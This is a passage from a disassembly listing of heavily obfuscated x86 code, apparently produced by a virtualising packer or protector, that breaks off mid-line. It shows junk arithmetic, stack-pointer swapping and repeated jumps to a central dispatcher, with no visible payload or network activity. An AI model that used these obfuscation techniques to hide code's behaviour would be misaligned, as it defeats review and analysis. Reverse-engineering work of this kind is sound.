loc_5A3537: ; CODE XREF: sub_581EE9+16A5Ej push esp pop edi add edi, 4 push ebp jmp loc_59D3B7 ; --------------------------------------------------------------------------- push [esp-6E48h+arg_6E3E+2] push [esp-6E44h+arg_6E3A+2] pop eax add esp, 4 push 11D2h mov [esp-6E44h+arg_6E3A+2], edx push esp jmp loc_59DABA ; --------------------------------------------------------------------------- loc_5A3560: ; CODE XREF: sub_581EE9+25046j mov ecx, 5C017F42h jmp loc_5928D6 ; --------------------------------------------------------------------------- loc_5A356A: ; CODE XREF: sub_581EE9+15633j add eax, edx pop edx pop edx push ebx jmp loc_5A152C ; --------------------------------------------------------------------------- loc_5A3574: ; CODE XREF: sub_581EE9+1BF19j push edx mov edx, 0FFFFFFFFh sub ebp, edx mov edx, [esp-6E56h+arg_6E4C+2] jmp loc_5A4A2A ; --------------------------------------------------------------------------- loc_5A3584: ; CODE XREF: sub_581EE9+1CEE2j mov [esp-6E6Ah+arg_6E60+2], ecx push esp mov ecx, [esp-6E66h+arg_6E5C+2] jmp loc_5A30B4 ; --------------------------------------------------------------------------- loc_5A3590: ; CODE XREF: sub_581EE9+14D89j sub edi, 5AB73CCEh jmp loc_59DDFC ; --------------------------------------------------------------------------- loc_5A359B: ; CODE XREF: sub_581EE9+12BFAj push ebx mov ebx, 4 add [esp-6E64h+arg_6E60], ebx jmp loc_597479 ; --------------------------------------------------------------------------- loc_5A35AA: ; CODE XREF: sub_581EE9+1EF81j mov edx, 461130DFh xor edx, 3A660F87h not edx or edx, 7E4A4F11h sub edx, 0FFC43F6Bh sub edi, edx mov edx, [esp-6E7Ah+arg_6E72] add esp, 4 jmp loc_5A2291 ; --------------------------------------------------------------------------- loc_5A35D3: ; CODE XREF: sub_581EE9+18F2Fj xor ecx, esi pop esi jmp loc_5A14ED ; --------------------------------------------------------------------------- loc_5A35DB: ; CODE XREF: sub_581EE9+24226j push 1C9C6D6Eh jmp loc_596FD3 ; --------------------------------------------------------------------------- loc_5A35E5: ; CODE XREF: sub_581EE9+23DD5j and edx, ebp jmp loc_599C51 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc word ptr [esp-6EA8h+arg_6E9E+2], ax pushf jmp loc_591F70 ; --------------------------------------------------------------------------- push eax mov eax, esp push edx mov edx, 4 jmp loc_5A5EFF ; --------------------------------------------------------------------------- loc_5A360A: ; CODE XREF: sub_581EE9+1C943j push edx jmp loc_59D32A ; --------------------------------------------------------------------------- loc_5A3610: ; CODE XREF: sub_581EE9+2526Cj pop eax pop ebp xor [esp-6E7Ah+arg_6E76], edi mov edi, [esp-6E7Ah+arg_6E72] jmp loc_59A3BE ; --------------------------------------------------------------------------- loc_5A361E: ; CODE XREF: sub_581EE9+1E184j sub esp, 4 mov [esp-6EBCh+arg_6EB2+2], edx mov edx, esp add edx, 4 jmp loc_5A34C3 ; --------------------------------------------------------------------------- loc_5A3634: ; CODE XREF: sub_581EE9+1B339j add ebp, 4 add ebp, 4 xchg ebp, dword ptr [esp-6E82h+arg_6E7A] pop esp neg ebx jmp loc_5A162D ; --------------------------------------------------------------------------- loc_5A3648: ; CODE XREF: sub_581EE9+1EEA8j add esp, 4 sub dh, cl mov ecx, dword ptr [esp-6EAAh+arg_6EA2] jmp loc_5A0D33 ; --------------------------------------------------------------------------- loc_5A3658: ; CODE XREF: sub_581EE9+12FE0j add esp, 4 add esi, 4 jmp loc_5951DE ; --------------------------------------------------------------------------- loc_5A3669: ; CODE XREF: sub_581EE9+1C8FBj push 3CD7h jmp loc_59D3D3 ; --------------------------------------------------------------------------- loc_5A3673: ; CODE XREF: sub_581EE9+12132j push 5AF77FB4h pop eax not eax or eax, 18803AA9h add eax, 72ACB9BAh add ebp, eax pop eax push [esp-6E7Eh+arg_6E76] pop edi add esp, 4 push edi mov edi, 260A434Ah sub edi, 260A4348h add ebp, edi mov edi, [esp-6E7Eh+arg_6E76] jmp loc_59BF2B ; --------------------------------------------------------------------------- loc_5A36A5: ; CODE XREF: sub_581EE9+1EC37j push eax jmp loc_5A62B5 ; --------------------------------------------------------------------------- push [esp-6EA8h+arg_6E9E+2] push [esp-6EA4h+arg_6E9A+2] push [esp-6EA0h+arg_6E96+2] pop eax add esp, 4 jmp loc_59C23C ; --------------------------------------------------------------------------- loc_5A36C0: ; CODE XREF: sub_581EE9+239B1j xor [esp-6EA4h+arg_6E9A+2], eax xor eax, [esp-6EA4h+arg_6E9A+2] mov esp, [esp-6EA4h+arg_6E9A+2] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp-6EA0h+arg_6E96+2] pop esp sub eax, 5D0E620Bh jmp loc_5A08FC ; --------------------------------------------------------------------------- loc_5A36E3: ; CODE XREF: sub_581EE9+11FA7j mov [esp+0], ebp push 651Ch mov [esp-6E8Ch+arg_6E84], esp sub esp, 4 mov [esp-6E88h+arg_6E80], ebp jmp loc_5971D9 ; --------------------------------------------------------------------------- loc_5A36F9: ; CODE XREF: sub_581EE9+1A802j sub esp, 4 mov [esp-6E46h+arg_6E3E], esi mov esi, 7402BFDh dec esi or esi, 1C1645B4h jmp loc_59C52A ; --------------------------------------------------------------------------- loc_5A3710: ; CODE XREF: sub_581EE9+197B3j add edi, 4 jmp loc_592318 ; --------------------------------------------------------------------------- loc_5A371B: ; CODE XREF: sub_581EE9+112F7j and eax, 124C5A61h sub eax, 1 xor eax, 100011FBh add ebx, eax pop eax sub ebx, 4 xor ebx, [esp-6EB0h+arg_6EA8] xor [esp-6EB0h+arg_6EA8], ebx xor ebx, [esp-6EB0h+arg_6EA8] mov esp, [esp-6EB0h+arg_6EA8] mov [esp-6EB0h+arg_6EA8], edx jmp loc_59F7B0 ; --------------------------------------------------------------------------- loc_5A3745: ; CODE XREF: sub_581EE9+16451j mov [esp-6E6Ah+arg_6E60+2], esi jmp loc_59D667 ; --------------------------------------------------------------------------- loc_5A374D: ; CODE XREF: sub_581EE9+24890j sub edx, 14667B75h pop ebx add edx, 4 push edx jmp loc_5988C9 ; --------------------------------------------------------------------------- loc_5A375D: ; CODE XREF: sub_581EE9+24376j shr edi, 2 jmp loc_5A225F ; --------------------------------------------------------------------------- loc_5A3765: ; CODE XREF: sub_581EE9+15E20j push 4ABCh jmp loc_59EFBD ; --------------------------------------------------------------------------- loc_5A376F: ; CODE XREF: sub_581EE9+1A8EEj sub ecx, 4 push ecx push [esp-6EAEh+arg_6EA8+2] jmp loc_5A5657 ; --------------------------------------------------------------------------- loc_5A377C: ; CODE XREF: sub_581EE9+1415Aj add ecx, 6F2D4B6Bh pop ebp sub ecx, 422973DBh add ecx, edi add ecx, 422973DBh sub esp, 4 mov [esp-6EA2h+arg_6E9A], ebp push ecx jmp loc_593B4C ; --------------------------------------------------------------------------- loc_5A37A0: ; CODE XREF: sub_581EE9+1B4B6j add esp, 4 xor esi, [esp-6E6Eh+arg_6E64+2] xor [esp-6E6Eh+arg_6E64+2], esi xor esi, [esp-6E6Eh+arg_6E64+2] pop esp shl [esp-6E72h+arg_6E68+2], cl pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A37B6: ; CODE XREF: sub_581EE9+23099j pop ecx shr ecx, 2 jmp loc_5A45FD ; --------------------------------------------------------------------------- loc_5A37BF: ; CODE XREF: sub_581EE9+160BBj mov ebp, [esp-6EBEh+arg_6EB6] add esp, 4 xor ebx, [esp-6EC2h+arg_6EBA] xor [esp-6EC2h+arg_6EBA], ebx xor ebx, [esp-6EC2h+arg_6EBA] mov esp, [esp-6EC2h+arg_6EBA] rol byte ptr [esp-6EC2h+arg_6EBA], cl pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A37DD: ; CODE XREF: sub_581EE9+10BF7j mov dl, bh pop ebx xchg bl, dl add bl, 1 xchg bl, dl add dl, 0FFh shl dl, 3 jmp loc_59A7D4 ; --------------------------------------------------------------------------- loc_5A37F2: ; CODE XREF: sub_581EE9+2198Cj xor al, 21h shl al, 8 neg al add al, 5Dh sub dl, al pop eax jmp loc_59575F ; --------------------------------------------------------------------------- loc_5A3803: ; CODE XREF: sub_581EE9+18CB4j xor esi, [esp-6EB4h+arg_6EAC] xor [esp-6EB4h+arg_6EAC], esi jmp loc_592F61 ; --------------------------------------------------------------------------- loc_5A380E: ; CODE XREF: sub_581EE9+142B0j and ebp, 33306820h add ebp, 0FFFFFFFFh jmp loc_5A38F7 ; --------------------------------------------------------------------------- loc_5A381F: ; CODE XREF: sub_581EE9+1C195j mov [esp+0], ecx push 78BF1A54h jmp loc_59FAB9 ; --------------------------------------------------------------------------- loc_5A382C: ; CODE XREF: sub_581EE9+154EDj xchg edx, [esp-6E8Ch+arg_6E84] pop esp jmp loc_597341 ; --------------------------------------------------------------------------- loc_5A3835: ; CODE XREF: sub_581EE9+24563j push ebx pop edi pop ebx xor ebx, edx xor edx, ebx jmp loc_5978C1 ; --------------------------------------------------------------------------- loc_5A3841: ; CODE XREF: sub_581EE9+144F4j add ebx, 31E91AFEh push ebp mov ebp, 316A38B1h sub ebx, ebp jmp loc_595704 ; --------------------------------------------------------------------------- loc_5A3854: ; CODE XREF: sub_581EE9+11E6Aj add edi, 4 sub edi, 4 xchg edi, [esp-6E8Ah+arg_6E80+2] pop esp mov [esp-6E8Eh+arg_6E84+2], esi mov esi, esp jmp loc_592F00 ; --------------------------------------------------------------------------- loc_5A386B: ; CODE XREF: sub_581EE9+1B686j pop bx shl dl, 6 push eax mov al, 69h sub al, 0ECh jmp loc_5A37F2 ; --------------------------------------------------------------------------- loc_5A387A: ; CODE XREF: sub_581EE9+10684j inc edx shr edx, 7 push ecx mov ecx, 7CCF4B65h sub edx, ecx pop ecx xor eax, edx pop edx add ebx, eax pop eax sub ebx, 4 xchg ebx, [esp+0] pop esp jmp loc_5A53FC ; --------------------------------------------------------------------------- loc_5A3899: ; CODE XREF: sub_581EE9+1151Bj mov ebp, [esp-6E7Eh+arg_6E76] add esp, 4 push eax mov eax, 84A6C44h or ebx, eax jmp loc_5A3C61 ; --------------------------------------------------------------------------- loc_5A38AC: ; CODE XREF: sub_581EE9+10A22j add esp, 4 rep movsd add esp, [edx+38h] push 5B1Dh mov [esp-6EA2h+arg_6E9A], eax push 4CDCh mov [esp-6E9Eh+arg_6E96], ebp push ebx push 3FAD1229h push [esp-6E96h+arg_6E8E] jmp loc_597397 ; --------------------------------------------------------------------------- loc_5A38D2: ; CODE XREF: sub_581EE9+141D8j sub bl, 0C1h mov eax, [esp-6E9Ah+arg_6E92] add esp, 4 movzx eax, al mov dx, word ptr [esp-6E9Eh+arg_6E96] push esi push 23AFh mov [esp-6E96h+arg_6E8E], esp add [esp-6E96h+arg_6E8E], 4 push [esp-6E96h+arg_6E8E] jmp loc_59F9C7 ; --------------------------------------------------------------------------- loc_5A38F7: ; CODE XREF: sub_581EE9+21931j and ebp, 6B3C4DF4h not ebp add ebp, 203045F9h add ebx, ebp pop ebp sub ebx, 4 push ebx push [esp-6E9Ah+arg_6E96] mov ebx, [esp-6E96h+arg_6E8E] jmp loc_59486C ; --------------------------------------------------------------------------- loc_5A391B: ; CODE XREF: sub_581EE9+15D99j mov bp, 0FFFFh jmp loc_5A6789 ; --------------------------------------------------------------------------- loc_5A3924: ; CODE XREF: sub_581EE9+11709j xor eax, 7CAEBD95h sub edi, eax mov eax, [esp-6E7Ah+arg_6E72] jmp loc_59B738 ; --------------------------------------------------------------------------- loc_5A3933: ; CODE XREF: sub_581EE9+19140j dec ebx sub ebx, 5A3F2A30h xor ebx, 0A0766930h push ebx pop edi jmp loc_5957FD ; --------------------------------------------------------------------------- loc_5A3947: ; CODE XREF: sub_581EE9+13B2Cj sub edx, ecx pop ecx xor esi, edx pop edx add edx, esi pop esi add edx, 4 jmp loc_596D2F ; --------------------------------------------------------------------------- push 817h mov [esp-6E72h+arg_6E68+2], esp add [esp-6E72h+arg_6E68+2], 4 jmp loc_595FC9 ; --------------------------------------------------------------------------- loc_5A396F: ; CODE XREF: sub_581EE9+14BB6j and eax, esi mov esi, [esp+0] push esi push esp jmp loc_59497D ; --------------------------------------------------------------------------- loc_5A397B: ; CODE XREF: sub_581EE9+1048Aj add esp, 4 push eax jmp loc_592CE1 ; --------------------------------------------------------------------------- loc_5A3987: ; CODE XREF: sub_581EE9+20E24j pop ebp mov eax, [esp-6E7Eh+arg_6E76] add esp, 4 push 5271h mov [esp-6E7Eh+arg_6E76], ebp mov ebp, 2F3C0676h not ebp and ebp, 26236938h xor ebp, 59B931A5h push edi mov edi, 647541EAh push ecx jmp loc_59BB23 ; --------------------------------------------------------------------------- loc_5A39B8: ; CODE XREF: sub_581EE9+1A328j sub esi, 0ED6B577Ch add edx, 97111E4h add edx, 5EEF1831h sub edx, 258B5AC6h add edx, esi add edx, 258B5AC6h sub edx, 5EEF1831h jmp loc_5A622C ; --------------------------------------------------------------------------- loc_5A39E3: ; CODE XREF: sub_581EE9+14A90j push 0F8h mov [esp+0], edx jmp loc_596EB0 ; --------------------------------------------------------------------------- loc_5A39F0: ; CODE XREF: sub_581EE9+221D0j mov ebx, esp add ebx, 4 jmp loc_59ED39 ; --------------------------------------------------------------------------- loc_5A39FD: ; CODE XREF: sub_581EE9+10AE6j add edi, 4 xor edi, dword ptr [esp-6EAAh+arg_6EA2] xor dword ptr [esp-6EAAh+arg_6EA2], edi xor edi, dword ptr [esp-6EAAh+arg_6EA2] pop esp push 473Dh mov dword ptr [esp-6EAAh+arg_6EA2], eax mov eax, 1EE60A81h shl eax, 3 push edx mov edx, esp jmp loc_59386E ; --------------------------------------------------------------------------- loc_5A3A22: ; CODE XREF: sub_581EE9+1135Fj sub ebp, 0FFFFFFFFh or ebp, 0E015C98h and ebp, 7AEB0879h shr ebp, 8 add ebp, 3EFA8981h push edx jmp loc_5A5218 ; --------------------------------------------------------------------------- loc_5A3A43: ; CODE XREF: sub_581EE9+10536j mov edx, ebp pop ebp and edi, edx mov edx, [esp-6EACh+arg_6EA4] add esp, 4 and edi, 14B92DE5h neg edi push eax jmp loc_5962F5 ; --------------------------------------------------------------------------- loc_5A3A5F: ; CODE XREF: sub_581EE9+18D75j dec ebx jmp loc_595BD8 ; --------------------------------------------------------------------------- loc_5A3A65: ; CODE XREF: sub_581EE9+1CE35j sub edi, ecx jmp loc_595FDC ; --------------------------------------------------------------------------- loc_5A3A6C: ; CODE XREF: sub_581EE9+1CE62j pop [esp-6E56h+arg_6E4C+2] mov esp, [esp-6E5Ah+arg_6E50+2] xor edx, [esp-6E5Ah+arg_6E50+2] jmp loc_597FE0 ; --------------------------------------------------------------------------- loc_5A3A7A: ; CODE XREF: sub_581EE9+12467j mov esi, [esp-6EA4h+arg_6E9A+2] add esp, 4 pop ebp jmp loc_5A3251 ; --------------------------------------------------------------------------- loc_5A3A89: ; CODE XREF: sub_581EE9+2378Bj pop esp and word ptr [esp-6EB0h+arg_6EA8], ax pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A3A94: ; CODE XREF: sub_581EE9+1939Cj push eax mov eax, 17C7753Bh mov ebp, 0E8388AC9h add ebp, eax jmp loc_5A1E8F ; --------------------------------------------------------------------------- loc_5A3AA6: ; CODE XREF: sub_581EE9+23DA8j mov [esp-6E62h+arg_6E58+2], edi mov edi, 1D2E761Fh add [esp-6E62h+arg_6E60+2], edi pop edi pop eax push [esp-6E6Ah+arg_6E60+2] jmp loc_5A0C4D ; --------------------------------------------------------------------------- loc_5A3ABC: ; CODE XREF: sub_581EE9+18F5Bj or ebp, 67775D14h jmp loc_592405 ; --------------------------------------------------------------------------- loc_5A3AC7: ; CODE XREF: sub_581EE9+18826j push ecx mov ecx, 60EE3B37h and esi, ecx push dword ptr [esp-6EAAh+arg_6EA2] pop ecx add esp, 4 neg esi add esi, 58459430h add eax, esi jmp loc_59F9D7 ; --------------------------------------------------------------------------- loc_5A3AE8: ; CODE XREF: sub_581EE9+1CCBAj mov ebx, 6FE7641Eh sub eax, ebx mov ebx, [esp-6E6Eh+arg_6E64+2] add esp, 4 sub esp, 4 mov [esp-6E6Eh+arg_6E64+2], ebp push ebx mov ebx, 17F66776h push 6A68h jmp loc_595A2F ; --------------------------------------------------------------------------- loc_5A3B0B: ; CODE XREF: sub_581EE9+11E54j add eax, ebx push ecx push edi push 65484002h pop edi not edi dec edi xor edi, 0E6B3A7CAh mov ecx, edi push [esp-6E7Eh+arg_6E76] pop edi add esp, 4 jmp loc_5972B6 ; --------------------------------------------------------------------------- loc_5A3B2F: ; CODE XREF: sub_581EE9+20695j mov [esp-6E9Ch+arg_6E92+2], eax push [esp-6E9Ch+arg_6E96+2] pop eax pop [esp-6E9Ch+arg_6E92+2] pop esp jmp loc_5A557D ; --------------------------------------------------------------------------- loc_5A3B40: ; CODE XREF: sub_581EE9+16B92j sub esi, 75C33FB7h jmp loc_5A43C6 ; --------------------------------------------------------------------------- loc_5A3B4B: ; CODE XREF: sub_581EE9+1D1F4j sub edi, 0D1232F35h sub ecx, edi jmp loc_5A5256 ; --------------------------------------------------------------------------- loc_5A3B58: ; CODE XREF: sub_581EE9+19DFCj add esi, edx jmp loc_59EF1A ; --------------------------------------------------------------------------- loc_5A3B5F: ; CODE XREF: sub_581EE9+138C5j add esp, 4 xchg ebp, [esp-6E44h+arg_6E3A+2] pop esp xchg esi, [esp-6E48h+arg_6E3E+2] mov esp, [esp-6E48h+arg_6E3E+2] xor [esp-6E48h+arg_6E3E+2], eax jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A3B74: ; CODE XREF: sub_581EE9+1A678j pop esp add word ptr [esp-6E92h+arg_6E8A], ax pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A3B7F: ; CODE XREF: sub_581EE9+15323j not dword ptr [esp-6EAAh+arg_6EA2] pop ebx push 71A5h mov dword ptr [esp-6EAAh+arg_6EA2], ecx mov ecx, 768020C8h shl ecx, 8 neg ecx sub ecx, 39E75500h and ecx, 1220469Bh jmp loc_59CC31 ; --------------------------------------------------------------------------- lodsb xor al, bl push 5E32h mov [esp-6EA6h+arg_6E9E], edx jmp loc_59D3E3 ; --------------------------------------------------------------------------- loc_5A3BB6: ; CODE XREF: sub_581EE9+1F29Fj add ebp, eax pop eax sub esi, 60FC2F44h add esi, 48D81F09h add esi, ebp push ebp jmp loc_59A676 ; --------------------------------------------------------------------------- loc_5A3BCD: ; CODE XREF: sub_581EE9+2475Aj add ch, 0FFh sub ch, 8Ah add ch, 53h jmp loc_59C57B ; --------------------------------------------------------------------------- loc_5A3BDB: ; CODE XREF: sub_581EE9+1357Bj sub esp, 4 jmp loc_5A2977 ; --------------------------------------------------------------------------- loc_5A3BE3: ; CODE XREF: sub_581EE9+1C06Bj push 5764699Bh pop eax xor eax, 5764699Fh add ecx, eax pop eax push edx jmp loc_59FD60 ; --------------------------------------------------------------------------- loc_5A3BF7: ; CODE XREF: sub_581EE9+212F1j push eax push esp pop eax push ebx mov ebx, 6F107AD1h push ebp mov ebp, 6B117D3Bh xor ebx, ebp jmp loc_5A3290 ; --------------------------------------------------------------------------- loc_5A3C0D: ; CODE XREF: sub_581EE9+175D1j mov [esp-6E70h+arg_6E68], eax jmp loc_59BBEA ; --------------------------------------------------------------------------- loc_5A3C15: ; CODE XREF: sub_581EE9+14E39j pop dword ptr [esp-6EAAh+arg_6EA2] mov esp, [esp-6EAEh+arg_6EA4+2] jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A3C20: ; CODE XREF: sub_581EE9+1B8A0j push 1E29h push esp pop [esp-6E6Ah+arg_6E60+2] push ebx jmp loc_59E9C2 ; --------------------------------------------------------------------------- loc_5A3C2F: ; CODE XREF: sub_581EE9+2427Dj sub [esp-6E6Ah+arg_6E60+2], 1763690Ch push [esp-6E6Ah+arg_6E60+2] pop eax add esp, 4 push esi push ebx jmp loc_599346 ; --------------------------------------------------------------------------- loc_5A3C47: ; CODE XREF: sub_581EE9+240C2j inc eax neg eax add eax, 7CC64065h xor eax, 75322270h push eax xor [esp-6E62h+arg_6E58+2], 284D2586h jmp loc_592E63 ; --------------------------------------------------------------------------- loc_5A3C61: ; CODE XREF: sub_581EE9+219BEj pop eax sub ebx, 9D24AC7h xor edx, ebx push dword ptr [esp-6E82h+arg_6E7A] jmp loc_59FF9A ; --------------------------------------------------------------------------- loc_5A3C72: ; CODE XREF: sub_581EE9+15B2Fj mov eax, [esp-6E70h+arg_6E68] jmp loc_5A439A ; --------------------------------------------------------------------------- loc_5A3C7A: ; CODE XREF: sub_581EE9+20B3Bj push ebp mov ebp, 7F46D298h add esi, ebp jmp loc_5A352F ; --------------------------------------------------------------------------- loc_5A3C87: ; CODE XREF: sub_581EE9+17E85j add ebp, eax add ebp, 11F713B7h push eax mov eax, 7A52606Ch dec eax sub esp, 4 mov [esp-6E56h+arg_6E4C+2], edx jmp loc_59C5DD ; --------------------------------------------------------------------------- loc_5A3CA1: ; CODE XREF: sub_581EE9+17268j push ecx sub esp, 4 push esp jmp loc_5A1CB7 ; --------------------------------------------------------------------------- loc_5A3CAE: ; CODE XREF: sub_581EE9+11509j mov ebx, 4 add esi, ebx pop ebx sub esi, 4 xchg esi, dword ptr [esp-6E82h+arg_6E7A] mov esp, dword ptr [esp-6E82h+arg_6E7A] mov dword ptr [esp-6E82h+arg_6E7A], edi push 0B1Bh mov [esp-6E7Eh+arg_6E76], esp add [esp-6E7Eh+arg_6E76], 4 pop edi push ebp push 4 pop ebp jmp loc_59D8D1 ; --------------------------------------------------------------------------- loc_5A3CE1: ; CODE XREF: sub_581EE9+1EE2Ej push ebp mov ebp, 0C892A804h add esi, ebp pop ebp jmp loc_59D596 ; --------------------------------------------------------------------------- loc_5A3CEF: ; CODE XREF: sub_581EE9+22858j mov [esp-6E42h+arg_6E3A], edi push 1F90h mov [esp-6E3Eh+arg_6E36], esi mov esi, 2792610Dh jmp loc_59EF36 ; --------------------------------------------------------------------------- loc_5A3D04: ; CODE XREF: sub_581EE9+1902Ej and esi, 1D9563Ch push ebp mov ebp, 18CF0864h or ebp, 65F82E4Eh shl ebp, 3 inc ebp add ebp, 79193110h neg ebp jmp loc_59609A ; --------------------------------------------------------------------------- loc_5A3D27: ; CODE XREF: sub_581EE9+227E6j add ecx, edi jmp loc_5A6B48 ; --------------------------------------------------------------------------- loc_5A3D2E: ; CODE XREF: sub_581EE9+1D98Aj mov ebx, 213F7DD2h or ebx, 43786DB1h push ecx mov ecx, 148E7468h sub ebx, ecx pop ecx push ebp mov ebp, 5087291Ah sub ebp, 3BD322F9h and ebx, ebp pop ebp shr ebx, 5 push ecx mov ecx, 31235EEh jmp loc_59D944 ; --------------------------------------------------------------------------- loc_5A3D5F: ; CODE XREF: sub_581EE9+11296j mov ebx, [esp+0] add esp, 4 pop [esp-6E4Eh+arg_6E44+2] pop esp push esi jmp loc_59CA5C ; --------------------------------------------------------------------------- loc_5A3D6F: ; CODE XREF: sub_581EE9+11D6Fj pop edx push edi mov edi, esp push ecx mov ecx, 4 sub edi, 22010DE2h jmp loc_5A2A43 ; --------------------------------------------------------------------------- loc_5A3D84: ; CODE XREF: sub_581EE9+23DFDj jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A3D89: ; CODE XREF: sub_581EE9+13510j sub esp, 4 mov [esp-6E72h+arg_6E68+2], esi push ebp push ebx mov ebx, 2ADB6EC1h add [esp-6E6Ah+arg_6E64+2], ebx pop ebx pop esi sub esi, 2ADB6EC1h push edi mov edi, esi mov ecx, edi pop edi pop esi pop ebp sub ebx, 6E954704h add ebx, ecx add ebx, 6E954704h push [esp-6E7Ah+arg_6E72] push [esp-6E76h+arg_6E6E] mov ecx, [esp-6E72h+arg_6E68+2] add esp, 4 add esp, 4 add esp, 4 xchg ebx, [esp-6E7Eh+arg_6E76] pop esp bts [esp-6E82h+arg_6E7A], ax pushf jmp loc_594FBB ; --------------------------------------------------------------------------- loc_5A3DE5: ; CODE XREF: sub_581EE9+10C0Bj sub esp, 4 mov [esp-6E9Eh+arg_6E96], edi mov edi, esp push esi jmp loc_59B60A ; --------------------------------------------------------------------------- loc_5A3DF3: ; CODE XREF: sub_581EE9+1BBDDj mov [esp-6E5Ch+arg_6E54], ecx mov ecx, 4 add edx, ecx mov ecx, [esp-6E5Ch+arg_6E54] push ebx jmp loc_59B643 ; --------------------------------------------------------------------------- loc_5A3E06: ; CODE XREF: sub_581EE9+125E2j mov esi, 4 jmp loc_59BDAC ; --------------------------------------------------------------------------- loc_5A3E10: ; CODE XREF: sub_581EE9+1558Bj sub esi, ebx pop ebx push [esp-6E56h+arg_6E4C+2] mov ebx, [esp-6E52h+arg_6E48+2] add esp, 4 push ebx sub esp, 4 mov [esp-6E4Eh+arg_6E44+2], esp add [esp-6E4Eh+arg_6E44+2], 4 pop ebx jmp loc_596BA6 ; --------------------------------------------------------------------------- loc_5A3E33: ; CODE XREF: sub_581EE9+136FEj sub edi, ecx mov ecx, [esp-6E9Ah+arg_6E92] add esp, 4 add edi, ecx push ebx mov ebx, 4E3F1ACFh add edi, 4A832B05h add edi, ebx jmp loc_59DBE5 ; --------------------------------------------------------------------------- loc_5A3E53: ; CODE XREF: sub_581EE9+1B26Aj xor esi, edi jmp loc_5A1A26 ; --------------------------------------------------------------------------- loc_5A3E5A: ; CODE XREF: sub_581EE9+124E6j mov esp, [esp-6E9Eh+arg_6E96] xchg cx, word ptr [esp-6E9Eh+arg_6E96] jmp loc_5933F7 ; --------------------------------------------------------------------------- loc_5A3E66: ; CODE XREF: sub_581EE9+1A0CFj push ecx jmp loc_598ADE ; --------------------------------------------------------------------------- loc_5A3E6C: ; CODE XREF: sub_581EE9+1324Cj push ecx mov ecx, 0E032C24h mov edi, ecx pop ecx jmp loc_5A1CFB ; --------------------------------------------------------------------------- loc_5A3E7A: ; CODE XREF: sub_581EE9+234ADj add edx, 4 add edx, 4 xchg edx, [esp-6E5Ah+arg_6E50+2] pop esp jmp loc_5A5679 ; --------------------------------------------------------------------------- loc_5A3E8C: ; CODE XREF: sub_581EE9+1A386j sub ax, dx jmp loc_59AEFF ; --------------------------------------------------------------------------- loc_5A3E94: ; CODE XREF: sub_581EE9+1082Cj popf retn ; --------------------------------------------------------------------------- jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A3E9B: ; CODE XREF: sub_581EE9+10C02j xor esi, [esp-6EA2h+arg_6E9A] pop esp mov [esp-6EA6h+arg_6E9E], ebp mov ebp, 5DF76FBEh sub eax, 63785507h sub eax, 7CB75111h add eax, ebp push esi mov esi, 309926F7h jmp loc_5A715A ; --------------------------------------------------------------------------- loc_5A3EBE: ; CODE XREF: sub_581EE9+21399j sub word ptr [esp-6E62h+arg_6E58+2], di jmp loc_5A6AF8 ; --------------------------------------------------------------------------- loc_5A3EC7: ; CODE XREF: sub_581EE9+1016Fj mov esp, [esp-6EA2h+arg_6E9A] btc word ptr [esp-6EA2h+arg_6E9A], ax pushf jmp loc_591F70 ; --------------------------------------------------------------------------- loc_5A3ED5: ; CODE XREF: sub_581EE9+2256Bj push 0BBh mov [esp-6E9Ah+arg_6E92], edi push 59755DACh jmp loc_59DD20 ; --------------------------------------------------------------------------- mov cx, word ptr [esp-6E96h+arg_6E8E] push 2BDh mov [esp-6E92h+arg_6E8A], eax jmp loc_59A945 ; --------------------------------------------------------------------------- dd 4EC81ACh, 89000000h, 9FB22414h, 4EC81h, 1C890000h, 805CB324h dd 7AE917C3h db 0A0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A3F17: ; CODE XREF: sub_581EE9+18CC4j not esi inc esi add esi, 20B455D5h sub eax, 23D5524Ah jmp loc_594844 ; --------------------------------------------------------------------------- loc_5A3F2A: ; CODE XREF: sub_581EE9+1AF57j push 5747h mov [esp+0], edi jmp loc_59980A ; --------------------------------------------------------------------------- loc_5A3F37: ; CODE XREF: sub_581EE9+1FFDEj pop ebx sub edi, 28B1E055h xor ecx, edi pop edi and ecx, 1A087B1Bh xor ecx, esi xor esi, ecx jmp loc_5A2863 ; --------------------------------------------------------------------------- loc_5A3F50: ; CODE XREF: sub_581EE9+1A9FFj pop esp push 1 push [esp-6EB2h+arg_6EA8+2] mov eax, [esp-6EAEh+arg_6EA4+2] push esi push esp pop esi add esi, 4 jmp loc_59613B ; --------------------------------------------------------------------------- loc_5A3F6A: ; CODE XREF: sub_581EE9+2255Ej pop edx and ecx, 47630CE0h inc ecx xor ecx, 42000E5h sub ebx, 2F636C9Ah jmp loc_5979F0 ; --------------------------------------------------------------------------- loc_5A3F83: ; CODE XREF: sub_581EE9+23F99j mov edi, 4 add ecx, edi pop edi xchg ecx, [esp-6EB2h+arg_6EA8+2] pop esp mov ecx, edx pop edx and ecx, 396F0D1Fh push esi mov esi, 0FFFFFFFFh sub ecx, esi pop esi jmp loc_599FE6 ; --------------------------------------------------------------------------- loc_5A3FA6: ; CODE XREF: sub_581EE9+11E15j sub esp, 4 mov dword ptr [esp-6EAAh+arg_6EA2], edx push 3535h jmp loc_5A4E5B ; --------------------------------------------------------------------------- loc_5A3FB9: ; CODE XREF: sub_581EE9+13B15j pop esp and ecx, edi mov edi, [esp-6EA8h+arg_6E9E+2] push 1BAAh mov [esp-6EA4h+arg_6E9A+2], edi jmp loc_597A82 ; --------------------------------------------------------------------------- loc_5A3FCC: ; CODE XREF: sub_581EE9+22AB7j mov [esp-6EA4h+arg_6E9A+2], ebx mov ebx, esp add ebx, 4 push edx mov edx, 0EA105BFh dec edx xor edx, 16C1093Eh add edx, 0E79FF384h add ebx, edx jmp loc_5944D0 ; --------------------------------------------------------------------------- loc_5A3FF1: ; CODE XREF: sub_581EE9+12E10j pop edi add edi, 4 add edi, 4 xchg edi, [esp-6EA8h+arg_6E9E+2] jmp loc_5A5BE5 ; --------------------------------------------------------------------------- loc_5A4006: ; CODE XREF: 